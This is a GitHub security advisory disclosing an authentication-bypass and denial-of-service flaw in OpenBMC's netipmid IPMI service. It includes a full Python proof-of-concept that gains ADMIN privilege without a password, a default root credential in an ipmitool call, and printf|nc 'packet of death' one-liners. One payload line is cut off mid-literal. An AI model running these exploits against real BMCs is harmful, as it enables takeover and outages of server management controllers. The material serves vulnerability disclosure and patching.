OpenBMC: remote code execution in netipmid

Critical **sirdarckcat** published **GHSA-gg9x-v835-m48q** on Sep 2, 2021

Package

OpenBMC (n/a)

Affected versions	Patched versions
2.9	series ending in ecc8efad10bc2101a434a0c1fbd253eeaa1a3a99

Description

Summary

CVE-2021-39296 - Issue affecting netipmid (IPMI lan+) interface. An attacker might craft IPMI messages to gain root access to the BMC bypassing authentication.
CVE-2021-39295 - A related vulnerability can also be used for denial of service.

Severity

CRITICAL - CVSSv3 10

Proof of Concept

```
#!/usr/bin/env python3
import os
import getopt
import sys
import socket
import time
from struct import pack, unpack


class IpmiUdpClient:
    def __init__(self, host, port=623):
        self._host = host
        self._port = port


    def connect(self):
        self._sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
        self._sock.settimeout(10.0)

        for res in socket.getaddrinfo(self._host,
                                      self._port,
                                      0,
                                      socket.SOCK_DGRAM):
            if res[0] == socket.AF_INET6 and False:
                i = res[4][0].find(':ffff:')
                if i != -1:
                    addr = res[4][0][i+8:].split(':')
                    addr = [int(x, base=16) for x in addr]
                    self._sockaddr = ('::ffff:%d.%d.%d.%d' % (addr[0] >> 8, addr[0] & 0xff, addr[1] >> 8, addr[1] & 0xff),
                                      res[4][1], res[4][2], res[4][3])
            else:
                if res[0] == socket.AF_INET:
                    self._sockaddr = ('::ffff:'+res[4][0], res[4][1], 0, 0)
                else:
                    self._sockaddr = res[4]
            break


    def write(self, data):
        if self._sock == None:
            return 0
        return self._sock.sendto(data, self._sockaddr)


    def read(self):
        result = self._sock.recvfrom(4096)[0]
        if result[:4] != b'\x06\x00\xff\x07':
            raise Exception("[!] Not an IPMI")
        return result


def main():
    opts, args = getopt.getopt(sys.argv[1:], 'U:H:p:')

    opt_host=''
    opt_user=''
    opt_port=623
    for o, a in opts:
        if o == '-U':
            opt_user = a
        elif o == '-p':
            opt_port = int(a)
        elif o == '-H':
            opt_host = a

    if not opt_host:
        raise Exception('[!] No host being specified')

    cli = IpmiUdpClient(host=opt_host, port=opt_port)
    cli.connect()

    if not opt_user:
        print('[#] Send Packet of Death (IPMI v1.5)')
```

```
        # By extending the following write with two zero bytes and changing ipmi version byte to match v2.0, it will also kill the netipmid
        cli.write(b'\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x20')
        os.system("set -x; ipmitool -C 17 -H '%s' -p '%s' -U 'root' -P '0penBmc' -I lanplus mc info" % (opt_host, opt_port))
        return

    print('[#] Get Channel Auth Capabilities')
    cli.write(b'\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18\xc8\x81\x008\x8e\x04\xb5')
    resp = cli.read()
    if not (resp[14] & 0b10000000 and resp[16] & 0b10):
        raise Exception("[!] Expected IPMI 2.0 support")
    time.sleep(3)

    print('[#] Open RMCP+ Request, will create session')

cli.write(b'\x06\x00\xff\x07\x06\x10\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00PWND\x00\x00\x00\x08\x03\x00\x00\x00\x01\x00\x00\x08\x04\x00\x00\x00\x02\x00\x00\x08\x
    resp = cli.read()
    if resp[16] != 2:
        raise Exception("[!] Not matched RMCP tag: %02x" % resp[16])
    sid = resp[24:28]
    print('[+] SID: 0x%08x' % unpack('<I', sid))
    time.sleep(3)

    print('[#] Send RAKP1, will enable session for selected channel')
    rakp1 = b'\x06\x00\xff\x07\x06\x12' + sid + b'\x00\x00\x00\x00\x20\x00\x03\x00\x00\x00' + sid + b'\x12{K\x02\xefH@?\xda\xf9\x20\x0e\x10\xa7\x91w\x04\x00\x00'
    rakp1 += bytes([len(opt_user)]) + bytes(opt_user, 'ascii')
    cli.write(rakp1)
    cli.read()
    time.sleep(3)

    print('[#] Request Privilege (ADMIN)')
    cli.write(b'\x06\x00\xff\x07\x00\x00\x00\x00\x00' + sid + b'\x08\x20\x18\xc8\x81\x04\x3b\x04\x3c\x00')
    try:
      cli.read()
    except socket.timeout:
      raise Exception("[!] Request Privilege (ADMIN) failed")

    print('[#] Request BMC info')
    cli.write(b'\x06\x00\xff\x07\x00\x00\x00\x00\x00' + sid + b'\x07\x20\x18\xc8\x81\x08\x01\x76')
    failed = False
    try:
      resp = cli.read()[14:]
      failed = resp[-3] != 0
    except socket.timeout:
      failed = True

    if failed:
      raise Exception("[!] Request BMC info failed")

    mfg = unpack('<I', resp[13:16]+b'\x00')[0]
    prod = unpack('<H', resp[16:18])[0]
    print("[+] Mfg = %s  Product = %s (0x%x)" % (mfg, prod, prod))


if __name__ == '__main__':
    try:
        main()
    except Exception as e:
        print(e)
```

```
$ ./pwn3d-netipmid.py -H 127.0.0.1 -p 10623
```

Run "mc info" command:

```
$ ./pwn3d-netipmid.py -H 127.0.0.1 -U root -p 10623
```

Further Analysis

1. MitM attack leaking Session ID.

When a connection is established using IPMI lanplus, the netipmid allocates the SessionID. Once user successfully authenticates, then the privilege level for such SID might be raised (i.e. ADMIN). Every time, when a client wants to disconnect, it sends the SessionClose command. While it's UDP, the user is obligated to do so, but the SessionClose command might not reach the BMC. Meanwhile, the netipmid do not recycle/remove the SID from the list and keep it until next session start command:

https://github.com/openbmc/phosphor-net-ipmid/blob/fc37e59e2f85e585ee830e801b5b26a2c859c86b/sessions_manager.cpp#L90

Thus, MitM adversary can leak the SID (it's clear text in every packet regardless that IPMI switched to RAKP messages that are encrypted).

Once SID is obtained, the adversary can trigger any commands (no RAKP required in current lanplus IPMI implementation). E.g. the simple one-packet IPMI v1.5 command to change the password for the admin user will work smoothly.

2. Enable session without successfully authentication. Leverage privileges.

Lately I found the worst case scenario that doesn't require MitM at all. The adversary can initiate a session (RMCP Open Session) that generates SID without actual successful authentication (no correct password being provided, only existing user name is required), but will leave it at USER privilege and enable the session for the specific channel. Thus, any commands at USER privilege will work (e.g. "mc info" or sensor reading). Need to confirm that SOL will work either. After that, the adversary can trigger the Request Privilege command to leverage the privilege from USER to ADMIN, gaining full control of BMC (e.g. change root password and then ssh to BMC).

Session timeout doesn't count (60s inactivity). The stale SID can still be used. Session ID is not linked to the IP address of the callee (this has almost non-sense while the UDP can be formed with src address of the real user).

3. Pass through unauthenticated messages to D-Bus.

While in sessionless (unauthenticated) mode, the commands are still passing to the D-Bus and not being terminated by netipmid. Thus, any arbitrary binary blob can reach the D-Bus targeting host ipmid.

4. DoS caused by packet of death.

Here is the packet of death for IPMI v1.5:

```
printf "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" | nc -u $HOST_IP 623
```

Or for IPMI v2.0:

```
printf "\x06\x00\xff\x07\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | nc -u $HOST_IP 623
```

After several restarts of the netipmid, it is just going to be disabled by systemd. Never start again.

This is caused by this code:

https://github.com/openbmc/phosphor-net-ipmid/blob/2085ae0/message_parsers.cpp#L124-L126

The assign method operates over **[first; last)** pointers. With zero `payloadLen` the last pointer is behind the first.

I thought that netipmid doesn't support "lan" mode (that is IPMI v1.5 only), but still accepts such messages.

Timeline

Date reported: 04 Jun 2021
Date fixed: 28 Jun 2021 - The fix for this set of problems is in a series of commits ending with openbmc/phosphor-net-ipmid@ `ecc8efa`
Date disclosed: 02 Sep 2021

Severity

Critical

CVE ID

CVE-2021-39296

Weaknesses

No CWEs

Credits


ya-mouse